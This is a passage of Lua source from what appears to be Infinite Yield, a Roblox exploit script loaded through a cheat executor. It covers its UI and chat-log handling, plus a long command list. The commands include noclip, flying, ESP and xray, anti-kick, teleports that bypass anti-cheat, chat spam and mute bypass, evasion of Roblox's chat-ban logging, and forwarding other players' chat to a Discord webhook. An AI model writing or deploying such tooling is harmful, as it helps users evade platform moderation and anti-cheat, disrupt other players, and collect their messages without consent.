= tostring(writelogs) local fileext = 0 local function nameFile() local file pcall(function() file = readfile(placeName..' Chat Logs ('..fileext..').txt') end) if file then fileext = fileext+1 nameFile() else writefileCooldown(placeName..' Chat Logs ('..fileext..').txt', writelogsFile) end end nameFile() notify('Chat Logs','Saved chat logs to the workspace folder within your exploit folder.') end else notify('Chat Logs','Your exploit does not support write file. You cannot save chat logs.') end end) if isLegacyChat then for _, plr in pairs(Players:GetPlayers()) do ChatLog(plr) end end Players.PlayerRemoving:Connect(function(player) if ESPenabled or CHMSenabled or COREGUI:FindFirstChild(player.Name..'_LC') then for i,v in pairs(COREGUI:GetChildren()) do if v.Name == player.Name..'_ESP' or v.Name == player.Name..'_LC' or v.Name == player.Name..'_CHMS' then v:Destroy() end end end if viewing ~= nil and player == viewing then workspace.CurrentCamera.CameraSubject = Players.LocalPlayer.Character viewing = nil if viewDied then viewDied:Disconnect() viewChanged:Disconnect() end notify('Spectate','View turned off (player left)') end eventEditor.FireEvent("OnLeave", player.Name) end) Exit.MouseButton1Down:Connect(function() logs:TweenPosition(UDim2.new(0, 0, 1, 10), "InOut", "Quart", 0.3, true, nil) end) Hide.MouseButton1Down:Connect(function() if logs.Position ~= UDim2.new(0, 0, 1, -20) then logs:TweenPosition(UDim2.new(0, 0, 1, -20), "InOut", "Quart", 0.3, true, nil) else logs:TweenPosition(UDim2.new(0, 0, 1, -265), "InOut", "Quart", 0.3, true, nil) end end) EventBind.MouseButton1Click:Connect(function() eventEditor.Frame:TweenPosition(UDim2.new(0.5,-175,0.5,-101), "InOut", "Quart", 0.5, true, nil) end) Keybinds.MouseButton1Click:Connect(function() KeybindsFrame:TweenPosition(UDim2.new(0, 0, 0, 0), "InOut", "Quart", 0.5, true, nil) wait(0.5) SettingsHolder.Visible = false end) Close.MouseButton1Click:Connect(function() SettingsHolder.Visible = true KeybindsFrame:TweenPosition(UDim2.new(0, 0, 0, 175), "InOut", "Quart", 0.5, true, nil) end) Keybinds.MouseButton1Click:Connect(function() KeybindsFrame:TweenPosition(UDim2.new(0, 0, 0, 0), "InOut", "Quart", 0.5, true, nil) wait(0.5) SettingsHolder.Visible = false end) Add.MouseButton1Click:Connect(function() KeybindEditor:TweenPosition(UDim2.new(0.5, -180, 0, 260), "InOut", "Quart", 0.5, true, nil) end) Delete.MouseButton1Click:Connect(function() binds = {} refreshbinds() updatesaves() notify('Keybinds Updated','Removed all keybinds') end) Close_2.MouseButton1Click:Connect(function() SettingsHolder.Visible = true AliasesFrame:TweenPosition(UDim2.new(0, 0, 0, 175), "InOut", "Quart", 0.5, true, nil) end) Aliases.MouseButton1Click:Connect(function() AliasesFrame:TweenPosition(UDim2.new(0, 0, 0, 0), "InOut", "Quart", 0.5, true, nil) wait(0.5) SettingsHolder.Visible = false end) Close_3.MouseButton1Click:Connect(function() SettingsHolder.Visible = true PositionsFrame:TweenPosition(UDim2.new(0, 0, 0, 175), "InOut", "Quart", 0.5, true, nil) end) Positions.MouseButton1Click:Connect(function() PositionsFrame:TweenPosition(UDim2.new(0, 0, 0, 0), "InOut", "Quart", 0.5, true, nil) wait(0.5) SettingsHolder.Visible = false end) local selectionBox = Instance.new("SelectionBox") selectionBox.Name = randomString() selectionBox.Color3 = Color3.new(255,255,255) selectionBox.Adornee = nil selectionBox.Parent = PARENT local selected = Instance.new("SelectionBox") selected.Name = randomString() selected.Color3 = Color3.new(0,166,0) selected.Adornee = nil selected.Parent = PARENT local ActivateHighlight = nil local ClickSelect = nil function selectPart() ToPartFrame:TweenPosition(UDim2.new(0.5, -180, 0, 335), "InOut", "Quart", 0.5, true, nil) local function HighlightPart() if selected.Adornee ~= IYMouse.Target then selectionBox.Adornee = IYMouse.Target else selectionBox.Adornee = nil end end ActivateHighlight = IYMouse.Move:Connect(HighlightPart) local function SelectPart() if IYMouse.Target ~= nil then selected.Adornee = IYMouse.Target Path.Text = getHierarchy(IYMouse.Target) end end ClickSelect = IYMouse.Button1Down:Connect(SelectPart) end Part.MouseButton1Click:Connect(function() selectPart() end) Exit_4.MouseButton1Click:Connect(function() ToPartFrame:TweenPosition(UDim2.new(0.5, -180, 0, -500), "InOut", "Quart", 0.5, true, nil) if ActivateHighlight then ActivateHighlight:Disconnect() end if ClickSelect then ClickSelect:Disconnect() end selectionBox.Adornee = nil selected.Adornee = nil Path.Text = "" end) CopyPath.MouseButton1Click:Connect(function() if Path.Text ~= "" then toClipboard(Path.Text) else notify('Copy Path','Select a part to copy its path') end end) ChoosePart.MouseButton1Click:Connect(function() if Path.Text ~= "" then local tpNameExt = '' local function handleWpNames() local FoundDupe = false for i,v in pairs(pWayPoints) do if v.NAME:lower() == selected.Adornee.Name:lower()..tpNameExt then FoundDupe = true end end if not FoundDupe then notify('Modified Waypoints',"Created waypoint: "..selected.Adornee.Name..tpNameExt) pWayPoints[#pWayPoints + 1] = {NAME = selected.Adornee.Name..tpNameExt, COORD = {selected.Adornee}} else if isNumber(tpNameExt) then tpNameExt = tpNameExt+1 else tpNameExt = 1 end handleWpNames() end end handleWpNames() refreshwaypoints() else notify('Part Selection','Select a part first') end end) cmds={} customAlias = {} Delete_3.MouseButton1Click:Connect(function() customAlias = {} aliases = {} notify('Aliases Modified','Removed all aliases') updatesaves() refreshaliases() end) PrefixBox:GetPropertyChangedSignal("Text"):Connect(function() prefix = PrefixBox.Text Cmdbar.PlaceholderText = "Command Bar ("..prefix..")" updatesaves() end) function CamViewport() if workspace.CurrentCamera then return workspace.CurrentCamera.ViewportSize.X end end function UpdateToViewport() if Holder.Position.X.Offset < -CamViewport() then Holder:TweenPosition(UDim2.new(1, -CamViewport(), Holder.Position.Y.Scale, Holder.Position.Y.Offset), "InOut", "Quart", 0.04, true, nil) Notification:TweenPosition(UDim2.new(1, -CamViewport() + 250, Notification.Position.Y.Scale, Notification.Position.Y.Offset), "InOut", "Quart", 0.04, true, nil) end end CameraChanged = workspace.CurrentCamera:GetPropertyChangedSignal("ViewportSize"):Connect(UpdateToViewport) function updateCamera(child, parent) if parent ~= workspace then CamMoved:Disconnect() CameraChanged:Disconnect() repeat wait() until workspace.CurrentCamera CameraChanged = workspace.CurrentCamera:GetPropertyChangedSignal("ViewportSize"):Connect(UpdateToViewport) CamMoved = workspace.CurrentCamera.AncestryChanged:Connect(updateCamera) end end CamMoved = workspace.CurrentCamera.AncestryChanged:Connect(updateCamera) function dragMain(dragpoint,gui) task.spawn(function() local dragging local dragInput local dragStart = Vector3.new(0,0,0) local startPos local function update(input) local pos = -250 local delta = input.Position - dragStart if startPos.X.Offset + delta.X <= -500 then local Position = UDim2.new(1, -250, Notification.Position.Y.Scale, Notification.Position.Y.Offset) TweenService:Create(Notification, TweenInfo.new(.20), {Position = Position}):Play() pos = 250 else local Position = UDim2.new(1, -500, Notification.Position.Y.Scale, Notification.Position.Y.Offset) TweenService:Create(Notification, TweenInfo.new(.20), {Position = Position}):Play() pos = -250 end if startPos.X.Offset + delta.X <= -250 and -CamViewport() <= startPos.X.Offset + delta.X then local Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, gui.Position.Y.Scale, gui.Position.Y.Offset) TweenService:Create(gui, TweenInfo.new(.20), {Position = Position}):Play() local Position2 = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X + pos, Notification.Position.Y.Scale, Notification.Position.Y.Offset) TweenService:Create(Notification, TweenInfo.new(.20), {Position = Position2}):Play() elseif startPos.X.Offset + delta.X > -500 then local Position = UDim2.new(1, -250, gui.Position.Y.Scale, gui.Position.Y.Offset) TweenService:Create(gui, TweenInfo.new(.20), {Position = Position}):Play() elseif -CamViewport() > startPos.X.Offset + delta.X then gui:TweenPosition(UDim2.new(1, -CamViewport(), gui.Position.Y.Scale, gui.Position.Y.Offset), "InOut", "Quart", 0.04, true, nil) local Position = UDim2.new(1, -CamViewport(), gui.Position.Y.Scale, gui.Position.Y.Offset) TweenService:Create(gui, TweenInfo.new(.20), {Position = Position}):Play() local Position2 = UDim2.new(1, -CamViewport() + 250, Notification.Position.Y.Scale, Notification.Position.Y.Offset) TweenService:Create(Notification, TweenInfo.new(.20), {Position = Position2}):Play() end end dragpoint.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then dragging = true dragStart = input.Position startPos = gui.Position input.Changed:Connect(function() if input.UserInputState == Enum.UserInputState.End then dragging = false end end) end end) dragpoint.InputChanged:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then dragInput = input end end) UserInputService.InputChanged:Connect(function(input) if input == dragInput and dragging then update(input) end end) end) end dragMain(Title,Holder) Match = function(name,str) str = str:gsub("%W", "%%%1") return name:lower():find(str:lower()) and true end local canvasPos = Vector2.new(0,0) local topCommand = nil IndexContents = function(str,bool,cmdbar,Ianim) CMDsF.CanvasPosition = Vector2.new(0,0) local SizeY = 0 local indexnum = 0 local frame = CMDsF topCommand = nil local chunks = {} if str:sub(#str,#str) == "\\" then str = "" end for w in string.gmatch(str,"[^\\]+") do table.insert(chunks,w) end if #chunks > 0 then str = chunks[#chunks] end if str:sub(1,1) == "!" then str = str:sub(2) end for i,v in next, frame:GetChildren() do if v:IsA("TextButton") then if bool then if Match(v.Text,str) then indexnum = indexnum + 1 v.Visible = true if topCommand == nil then topCommand = v.Text end else v.Visible = false end else v.Visible = true if topCommand == nil then topCommand = v.Text end end end end frame.CanvasSize = UDim2.new(0,0,0,cmdListLayout.AbsoluteContentSize.Y) if not Ianim then if indexnum == 0 or string.find(str, " ") then if not cmdbar then minimizeHolder() elseif cmdbar then cmdbarHolder() end else maximizeHolder() end else minimizeHolder() end end task.spawn(function() if not isLegacyChat then return end local chatbox local success, result = pcall(function() chatbox = PlayerGui:WaitForChild("Chat").Frame.ChatBarParentFrame.Frame.BoxFrame.Frame.ChatBar end) if success then local function chatboxFocused() canvasPos = CMDsF.CanvasPosition end local chatboxFocusedC = chatbox.Focused:Connect(chatboxFocused) local function Index() if chatbox.Text:lower():sub(1,1) == prefix then if SettingsOpen == true then wait(0.2) CMDsF.Visible = true Settings:TweenPosition(UDim2.new(0, 0, 0, 220), "InOut", "Quart", 0.2, true, nil) end IndexContents(PlayerGui.Chat.Frame.ChatBarParentFrame.Frame.BoxFrame.Frame.ChatBar.Text:lower():sub(2),true) else minimizeHolder() if SettingsOpen == true then wait(0.2) Settings:TweenPosition(UDim2.new(0, 0, 0, 45), "InOut", "Quart", 0.2, true, nil) CMDsF.Visible = false end end end local chatboxFunc = chatbox:GetPropertyChangedSignal("Text"):Connect(Index) local function chatboxFocusLost(enterpressed) if not enterpressed or chatbox.Text:lower():sub(1,1) ~= prefix then IndexContents('',true) end CMDsF.CanvasPosition = canvasPos minimizeHolder() end local chatboxFocusLostC = chatbox.FocusLost:Connect(chatboxFocusLost) PlayerGui:WaitForChild("Chat").Frame.ChatBarParentFrame.ChildAdded:Connect(function(newbar) wait() if newbar:FindFirstChild('BoxFrame') then chatbox = PlayerGui:WaitForChild("Chat").Frame.ChatBarParentFrame.Frame.BoxFrame.Frame.ChatBar if chatboxFocusedC then chatboxFocusedC:Disconnect() end chatboxFocusedC = chatbox.Focused:Connect(chatboxFocused) if chatboxFunc then chatboxFunc:Disconnect() end chatboxFunc = chatbox:GetPropertyChangedSignal("Text"):Connect(Index) if chatboxFocusLostC then chatboxFocusLostC:Disconnect() end chatboxFocusLostC = chatbox.FocusLost:Connect(chatboxFocusLost) end end) --else --print('Custom chat detected. Will not provide suggestions for commands typed in the chat.') end end) function autoComplete(str,curText) local endingChar = {"[", "/", "(", " "} local stop = 0 for i=1,#str do local c = str:sub(i,i) if table.find(endingChar, c) then stop = i break end end curText = curText or Cmdbar.Text local subPos = 0 local pos = 1 local findRes = string.find(curText,"\\",pos) while findRes do subPos = findRes pos = findRes+1 findRes = string.find(curText,"\\",pos) end if curText:sub(subPos+1,subPos+1) == "!" then subPos = subPos + 1 end Cmdbar.Text = curText:sub(1,subPos) .. str:sub(1, stop - 1)..' ' RunService.RenderStepped:Wait() Cmdbar.Text = Cmdbar.Text:gsub( '\t', '' ) Cmdbar.CursorPosition = #Cmdbar.Text+1--1020 end CMDs = {} CMDs[#CMDs + 1] = {NAME = 'discord / support / help', DESC = 'Invite to the Infinite Yield support server.'} CMDs[#CMDs + 1] = {NAME = 'guiscale [number]', DESC = 'Changes the size of the gui. [number] accepts both decimals and whole numbers. Min is 0.4 and Max is 2'} CMDs[#CMDs + 1] = {NAME = 'console', DESC = 'Loads Roblox console'} CMDs[#CMDs + 1] = {NAME = 'oldconsole', DESC = 'Loads old Roblox console'} CMDs[#CMDs + 1] = {NAME = 'explorer / dex', DESC = 'Opens DEX by Moon'} CMDs[#CMDs + 1] = {NAME = 'olddex / odex', DESC = 'Opens Old DEX by Moon'} CMDs[#CMDs + 1] = {NAME = 'remotespy / rspy', DESC = 'Opens Simple Spy V3'} CMDs[#CMDs + 1] = {NAME = 'audiologger / alogger', DESC = 'Opens Edges audio logger'} CMDs[#CMDs + 1] = {NAME = 'serverinfo / info', DESC = 'Gives you info about the server'} CMDs[#CMDs + 1] = {NAME = 'jobid', DESC = 'Copies the games JobId to your clipboard'} CMDs[#CMDs + 1] = {NAME = 'notifyjobid', DESC = 'Notifies you the games JobId'} CMDs[#CMDs + 1] = {NAME = 'rejoin / rj', DESC = 'Makes you rejoin the game'} CMDs[#CMDs + 1] = {NAME = 'autorejoin / autorj', DESC = 'Automatically rejoins the server if you get kicked/disconnected'} CMDs[#CMDs + 1] = {NAME = 'serverhop / shop', DESC = 'Teleports you to a different server'} CMDs[#CMDs + 1] = {NAME = 'gameteleport / gametp [place ID]', DESC = 'Joins a game by ID'} CMDs[#CMDs + 1] = {NAME = 'antiidle / antiafk', DESC = 'Prevents the game from kicking you for being idle/afk'} CMDs[#CMDs + 1] = {NAME = 'datalimit [num]', DESC = 'Set outgoing KBPS limit'} CMDs[#CMDs + 1] = {NAME = 'replicationlag / backtrack [num]', DESC = 'Set IncomingReplicationLag'} CMDs[#CMDs + 1] = {NAME = 'creatorid / creator', DESC = 'Notifies you the creators ID'} CMDs[#CMDs + 1] = {NAME = 'copycreatorid / copycreator', DESC = 'Copies the creators ID to your clipboard'} CMDs[#CMDs + 1] = {NAME = 'setcreatorid / setcreator', DESC = 'Sets your userid to the creators ID'} CMDs[#CMDs + 1] = {NAME = 'noprompts', DESC = 'Prevents the game from showing you purchase/premium prompts'} CMDs[#CMDs + 1] = {NAME = 'showprompts', DESC = 'Allows the game to show purchase/premium prompts again'} CMDs[#CMDs + 1] = {NAME = 'enable [inventory/playerlist/chat/reset/emotes/all]', DESC = 'Toggles visibility of coregui items'} CMDs[#CMDs + 1] = {NAME = 'disable [inventory/playerlist/chat/reset/emotes/all]', DESC = 'Toggles visibility of coregui items'} CMDs[#CMDs + 1] = {NAME = 'showguis', DESC = 'Shows any invisible GUIs'} CMDs[#CMDs + 1] = {NAME = 'unshowguis', DESC = 'Undoes showguis'} CMDs[#CMDs + 1] = {NAME = 'hideguis', DESC = 'Hides any GUIs in PlayerGui'} CMDs[#CMDs + 1] = {NAME = 'unhideguis', DESC = 'Undoes hideguis'} CMDs[#CMDs + 1] = {NAME = 'guidelete', DESC = 'Enables backspace to delete GUI'} CMDs[#CMDs + 1] = {NAME = 'unguidelete / noguidelete', DESC = 'Disables guidelete'} CMDs[#CMDs + 1] = {NAME = 'hideiy', DESC = 'Hides the main IY GUI'} CMDs[#CMDs + 1] = {NAME = 'showiy / unhideiy', DESC = 'Shows IY again'} CMDs[#CMDs + 1] = {NAME = 'keepiy', DESC = 'Auto execute IY when you teleport through servers'} CMDs[#CMDs + 1] = {NAME = 'unkeepiy', DESC = 'Disable keepiy'} CMDs[#CMDs + 1] = {NAME = 'togglekeepiy', DESC = 'Toggles keepiy'} CMDs[#CMDs + 1] = {NAME = 'savegame / saveplace', DESC = 'Uses saveinstance to save the game'} CMDs[#CMDs + 1] = {NAME = 'clearerror', DESC = 'Clears the annoying box and blur when a game kicks you'} CMDs[#CMDs + 1] = {NAME = 'clientantikick / antikick (CLIENT)', DESC = 'Prevents localscripts from kicking you'} CMDs[#CMDs + 1] = {NAME = 'clientantiteleport / antiteleport (CLIENT)', DESC = 'Prevents localscripts from teleporting you'} CMDs[#CMDs + 1] = {NAME = 'allowrejoin / allowrj [true/false] (CLIENT)', DESC = 'Changes if antiteleport allows you to rejoin or not'} CMDs[#CMDs + 1] = {NAME = 'cancelteleport / canceltp', DESC = 'Cancels teleports in progress'} CMDs[#CMDs + 1] = {NAME = 'volume / vol [0-10]', DESC = 'Adjusts your game volume on a scale of 0 to 10'} CMDs[#CMDs + 1] = {NAME = 'antilag / boostfps / lowgraphics', DESC = 'Lowers game quality to boost FPS'} CMDs[#CMDs + 1] = {NAME = 'record / rec', DESC = 'Starts Roblox recorder'} CMDs[#CMDs + 1] = {NAME = 'screenshot / scrnshot', DESC = 'Takes a screenshot'} CMDs[#CMDs + 1] = {NAME = 'togglefullscreen / togglefs', DESC = 'Toggles fullscreen'} CMDs[#CMDs + 1] = {NAME = 'notify [text]', DESC = 'Sends you a notification with the provided text'} CMDs[#CMDs + 1] = {NAME = 'lastcommand / lastcmd', DESC = 'Executes the previous command used'} CMDs[#CMDs + 1] = {NAME = 'exit', DESC = 'Kills roblox process'} CMDs[#CMDs + 1] = {NAME = '', DESC = ''} CMDs[#CMDs + 1] = {NAME = 'noclip', DESC = 'Go through objects'} CMDs[#CMDs + 1] = {NAME = 'unnoclip / clip', DESC = 'Disables noclip'} CMDs[#CMDs + 1] = {NAME = 'fly [speed]', DESC = 'Makes you fly'} CMDs[#CMDs + 1] = {NAME = 'unfly', DESC = 'Disables fly'} CMDs[#CMDs + 1] = {NAME = 'flyspeed [num]', DESC = 'Set fly speed (default is 20)'} CMDs[#CMDs + 1] = {NAME = 'vehiclefly / vfly [speed]', DESC = 'Makes you fly in a vehicle'} CMDs[#CMDs + 1] = {NAME = 'unvehiclefly / unvfly', DESC = 'Disables vehicle fly'} CMDs[#CMDs + 1] = {NAME = 'vehicleflyspeed / vflyspeed [num]', DESC = 'Set vehicle fly speed'} CMDs[#CMDs + 1] = {NAME = 'cframefly / cfly [speed]', DESC = 'Makes you fly, bypassing some anti cheats (works on mobile)'} CMDs[#CMDs + 1] = {NAME = 'uncframefly / uncfly', DESC = 'Disables cfly'} CMDs[#CMDs + 1] = {NAME = 'cframeflyspeed / cflyspeed [num]', DESC = 'Sets cfly speed'} CMDs[#CMDs + 1] = {NAME = 'qefly [true / false]', DESC = 'Enables or disables the Q and E hotkeys for fly'} CMDs[#CMDs + 1] = {NAME = 'vehiclenoclip / vnoclip', DESC = 'Turns off vehicle collision'} CMDs[#CMDs + 1] = {NAME = 'vehicleclip / vclip / unvnoclip', DESC = 'Enables vehicle collision'} CMDs[#CMDs + 1] = {NAME = 'float / platform', DESC = 'Spawns a platform beneath you causing you to float'} CMDs[#CMDs + 1] = {NAME = 'unfloat / noplatform', DESC = 'Removes the platform'} CMDs[#CMDs + 1] = {NAME = 'swim', DESC = 'Allows you to swim in the air'} CMDs[#CMDs + 1] = {NAME = 'unswim / noswim', DESC = 'Stops you from swimming everywhere'} CMDs[#CMDs + 1] = {NAME = 'toggleswim', DESC = 'Toggles swimming'} CMDs[#CMDs + 1] = {NAME = '', DESC = ''} CMDs[#CMDs + 1] = {NAME = 'setwaypoint / swp [name]', DESC = 'Sets a waypoint at your position'} CMDs[#CMDs + 1] = {NAME = 'waypointpos / wpp [name] [X Y Z]', DESC = 'Sets a waypoint with specified coordinates'} CMDs[#CMDs + 1] = {NAME = 'waypoints', DESC = 'Shows a list of currently active waypoints'} CMDs[#CMDs + 1] = {NAME = 'showwaypoints / showwp', DESC = 'Shows all currently set waypoints'} CMDs[#CMDs + 1] = {NAME = 'hidewaypoints / hidewp', DESC = 'Hides shown waypoints'} CMDs[#CMDs + 1] = {NAME = 'waypoint / wp [name]', DESC = 'Teleports player to a waypoint'} CMDs[#CMDs + 1] = {NAME = 'tweenwaypoint / twp [name]', DESC = 'Tweens player to a waypoint'} CMDs[#CMDs + 1] = {NAME = 'walktowaypoint / wtwp [name]', DESC = 'Walks player to a waypoint'} CMDs[#CMDs + 1] = {NAME = 'deletewaypoint / dwp [name]', DESC = 'Deletes a waypoint'} CMDs[#CMDs + 1] = {NAME = 'clearwaypoints / cwp', DESC = 'Clears all waypoints'} CMDs[#CMDs + 1] = {NAME = 'cleargamewaypoints / cgamewp', DESC = 'Clears all waypoints for the game you are in'} CMDs[#CMDs + 1] = {NAME = '', DESC = ''} CMDs[#CMDs + 1] = {NAME = 'goto [player]', DESC = 'Go to a player'} CMDs[#CMDs + 1] = {NAME = 'tweengoto / tgoto [player]', DESC = 'Tween to a player (bypasses some anti cheats)'} CMDs[#CMDs + 1] = {NAME = 'tweenspeed / tspeed [num]', DESC = 'Sets how fast all tween commands go (default is 1)'} CMDs[#CMDs + 1] = {NAME = 'vehiclegoto / vgoto [player]', DESC = 'Go to a player while in a vehicle'} CMDs[#CMDs + 1] = {NAME = 'loopgoto [player] [distance] [delay]', DESC = 'Loop teleport to a player'} CMDs[#CMDs + 1] = {NAME = 'unloopgoto', DESC = 'Stops teleporting you to a player'} CMDs[#CMDs + 1] = {NAME = 'pulsetp / ptp [player] [seconds]', DESC = 'Teleports you to a player for a specified amount of time'} CMDs[#CMDs + 1] = {NAME = 'clientbring / cbring [player] (CLIENT)', DESC = 'Bring a player'} CMDs[#CMDs + 1] = {NAME = 'loopbring [player] [distance] [delay] (CLIENT)', DESC = 'Loop brings a player to you (useful for killing)'} CMDs[#CMDs + 1] = {NAME = 'unloopbring [player]', DESC = 'Undoes loopbring'} CMDs[#CMDs + 1] = {NAME = 'freeze / fr [player] (CLIENT)', DESC = 'Freezes a player'} CMDs[#CMDs + 1] = {NAME = 'freezeanims', DESC = 'Freezes your animations / pauses your animations - Does not work on default animations'} CMDs[#CMDs + 1] = {NAME = 'unfreezeanims', DESC = 'Unfreezes your animations / plays your animations'} CMDs[#CMDs + 1] = {NAME = 'thaw / unfr [player] (CLIENT)', DESC = 'Unfreezes a player'} CMDs[#CMDs + 1] = {NAME = 'tpposition / tppos [X Y Z]', DESC = 'Teleports you to certain coordinates'} CMDs[#CMDs + 1] = {NAME = 'tweentpposition / ttppos [X Y Z]', DESC = 'Tween to coordinates (bypasses some anti cheats)'} CMDs[#CMDs + 1] = {NAME = 'offset [X Y Z]', DESC = 'Offsets you by certain coordinates'} CMDs[#CMDs + 1] = {NAME = 'tweenoffset / toffset [X Y Z]', DESC = 'Tween offset (bypasses some anti cheats)'} CMDs[#CMDs + 1] = {NAME = 'notifyposition / notifypos [player]', DESC = 'Notifies you the coordinates of a character'} CMDs[#CMDs + 1] = {NAME = 'copyposition / copypos [player]', DESC = 'Copies the coordinates of a character to your clipboard'} CMDs[#CMDs + 1] = {NAME = 'walktoposition / walktopos [X Y Z]', DESC = 'Makes you walk to a coordinate'} CMDs[#CMDs + 1] = {NAME = 'spawnpoint / spawn [delay]', DESC = 'Sets a position where you will spawn'} CMDs[#CMDs + 1] = {NAME = 'nospawnpoint / nospawn', DESC = 'Removes your custom spawn point'} CMDs[#CMDs + 1] = {NAME = 'flashback / diedtp', DESC = 'Teleports you to where you last died'} CMDs[#CMDs + 1] = {NAME = 'walltp', DESC = 'Teleports you above/over any wall you run into'} CMDs[#CMDs + 1] = {NAME = 'nowalltp / unwalltp', DESC = 'Disables walltp'} CMDs[#CMDs + 1] = {NAME = 'teleporttool / tptool', DESC = 'Gives you a teleport tool'} CMDs[#CMDs + 1] = {NAME = '', DESC = ''} CMDs[#CMDs + 1] = {NAME = 'logs', DESC = 'Opens the logs GUI'} CMDs[#CMDs + 1] = {NAME = 'chatlogs / clogs', DESC = 'Log what people say or whisper'} CMDs[#CMDs + 1] = {NAME = 'joinlogs / jlogs', DESC = 'Log when people join'} CMDs[#CMDs + 1] = {NAME = 'chatlogswebhook / logswebhook [url]', DESC = 'Set a discord webhook for chatlogs to go to (provide no url to disable this)'} CMDs[#CMDs + 1] = {NAME = 'antichatlogs / antichatlogger', DESC = 'Prevents Roblox from banning you for your silly chat messages (game needs the legacy chat)'} CMDs[#CMDs + 1] = {NAME = 'chat / say [text]', DESC = 'Makes you chat a string (possible mute bypass)'} CMDs[#CMDs + 1] = {NAME = 'spam [text]', DESC = 'Makes you spam the chat'} CMDs[#CMDs + 1] = {NAME = 'unspam', DESC = 'Turns off spam'} CMDs[#CMDs + 1] = {NAME = 'whisper / pm [player] [text]', DESC = 'Makes you whisper a string to someone (possible mute bypass)'} CMDs[#CMDs + 1] = {NAME = 'pmspam [player] [text]', DESC = 'Makes you spam a players whispers'} CMDs[#CMDs + 1] = {NAME = 'unpmspam [player]', DESC = 'Turns off pm spam'} CMDs[#CMDs + 1] = {NAME = 'spamspeed [num]', DESC = 'How quickly you spam (default is 1)'} CMDs[#CMDs + 1] = {NAME = 'bubblechat (CLIENT)', DESC = 'Enables bubble chat for your client'} CMDs[#CMDs + 1] = {NAME = 'unbubblechat / nobubblechat', DESC = 'Disables the bubblechat command'} CMDs[#CMDs + 1] = {NAME = '', DESC = ''} CMDs[#CMDs + 1] = {NAME = 'esp', DESC = 'View all players and their status'} CMDs[#CMDs + 1] = {NAME = 'espteam', DESC = 'ESP but teammates are green and bad guys are red'} CMDs[#CMDs + 1] = {NAME = 'noesp / unesp / unespteam', DESC = 'Removes ESP'} CMDs[#CMDs + 1] = {NAME = 'esptransparency [number]', DESC = 'Changes the transparency of ESP related commands'} CMDs[#CMDs + 1] = {NAME = 'partesp [part name]', DESC = 'Highlights a part'} CMDs[#CMDs + 1] = {NAME = 'unpartesp / nopartesp [part name]', DESC = 'removes partesp'} CMDs[#CMDs + 1] = {NAME = 'chams', DESC = 'ESP but without text in the way'} CMDs[#CMDs + 1] = {NAME = 'nochams / unchams', DESC = 'Removes chams'} CMDs[#CMDs + 1] = {NAME = 'locate [player]', DESC = 'View a single player and their status'} CMDs[#CMDs + 1] = {NAME = 'unlocate / nolocate [player]', DESC = 'Removes locate'} CMDs[#CMDs + 1] = {NAME = 'xray', DESC = 'Makes all parts in workspace transparent'} CMDs[#CMDs + 1] = {NAME = 'unxray / noxray', DESC = 'Restores transparency to all parts in workspace'} CMDs[#CMDs + 1] = {NAME = 'loopxray', DESC = 'Makes all parts in workspace transparent but looped'} CMDs[#CMDs + 1] = {NAME = 'unloopxray', DESC = 'Unloops xray'} CMDs[#CMDs + 1] = {NAME = 'togglexray', DESC = 'Toggles xray'} CMDs[#CMDs + 1] = {NAME = '', DESC = ''} CMDs[#CMDs + 1] = {NAME = 'spectate / view [player]', DESC = 'View a player'} CMDs[#CMDs + 1] = {NAME = 'viewpart / viewp [part name]', DESC = 'View a part'} CMDs[#CMDs + 1] = {NAME = 'unspectate / unview', DESC = 'Stops viewing player'} CMDs[#CMDs + 1] = {NAME = 'freecam / fc', DESC = 'Allows you to freely move camera around the game'} CMDs[#CMDs + 1] = {NAME = 'freecampos / fcpos [X Y Z]', DESC = 'Moves / opens freecam in a certain position'} CMDs[#CMDs + 1] = {NAME = 'freecamwaypoint / fcwp [name]', DESC = 'Moves / opens freecam to a waypoint'} CMDs[#CMDs + 1] = {NAME = 'freecamgoto / fcgoto / fctp [player]', DESC = 'Moves / opens freecam to a player'} CMDs[#CMDs + 1] = {NAME = 'unfreecam / unfc', DESC = 'Disables freecam'} CMDs[#CMDs + 1] = {NAME = 'freecamspeed / fcspeed [num]', DESC = 'Adjusts freecam speed (default is 1)'} CMDs[#CMDs + 1] = {NAME = 'notifyfreecamposition / notifyfcpos', DESC = 'Noitifies you your freecam coordinates'} CMDs[#CMDs + 1] = {NAME = 'copyfreecamposition / copyfcpos', DESC = 'Copies your freecam coordinates to your clipboard'} CMDs[#CMDs + 1] = {NAME = 'gotocamera / gotocam', DESC = 'Teleports you to the location of your camera'} CMDs[#CMDs + 1] = {NAME = 'tweengotocam / tgotocam', DESC = 'Tweens you to the location of your camera'} CMDs[#CMDs + 1] = {NAME = 'firstp', DESC = 'Forces camera to go into first person'} CMDs[#CMDs + 1] = {NAME = 'thirdp', DESC = 'Allows camera to go into third person'} CMDs[#CMDs + 1] = {NAME = 'noclipcam / nccam', DESC = 'Allows camera to go through objects like walls'} CMDs[#CMDs + 1] = {NAME = 'maxzoom [num]', DESC = 'Maximum camera zoom'} CMDs[#CMDs + 1] = {NAME = 'minzoom [num]', DESC = 'Minimum camera zoom'} CMDs[#CMDs + 1] = {NAME = 'camdistance [num]', DESC = 'Changes camera distance from your player'} CMDs[#CMDs + 1] = {NAME = 'fov [num]', DESC = 'Adjusts field of view (default is 70)'} CMDs[#CMDs + 1] = {NAME = 'fixcam / restorecam', DESC = 'Fixes camera'} CMDs[#CMDs + 1] = {NAME = 'enableshiftlock / enablesl', DESC = 'Enables the shift lock option'} CMDs[#CMDs + 1] = {NAME = 'lookat [player]', DESC = 'Moves your camera view to a player'} CMDs[#CMDs + 1] = {NAME = '', DESC = ''} CMDs[#CMDs + 1] = {NAME = 'btools (CLIENT)', DESC = 'Gives you building tools (DOES NOT REPLICATE)'} CMDs[#CMDs + 1] = {NAME = 'f3x (CLIENT)', DESC = 'Gives you F3X building tools (DOES NOT REPLICATE)'} CMDs[#CMDs + 1] = {NAME = 'partname / partpath', DESC = 'Allows you to click a part to see its path & name'} CMDs[#CMDs + 1] = {NAME = 'delete [instance name] (CLIENT)', DESC = 'Removes any part with a certain name from the workspace (DOES NOT REPLICATE)'} CMDs[#CMDs + 1] = {NAME = 'deleteclass / dc [class name] (CLIENT)', DESC = 'Removes any part with a certain classname from the workspace (DOES NOT REPLICATE)'} CMDs[#CMDs + 1] = {NAME = 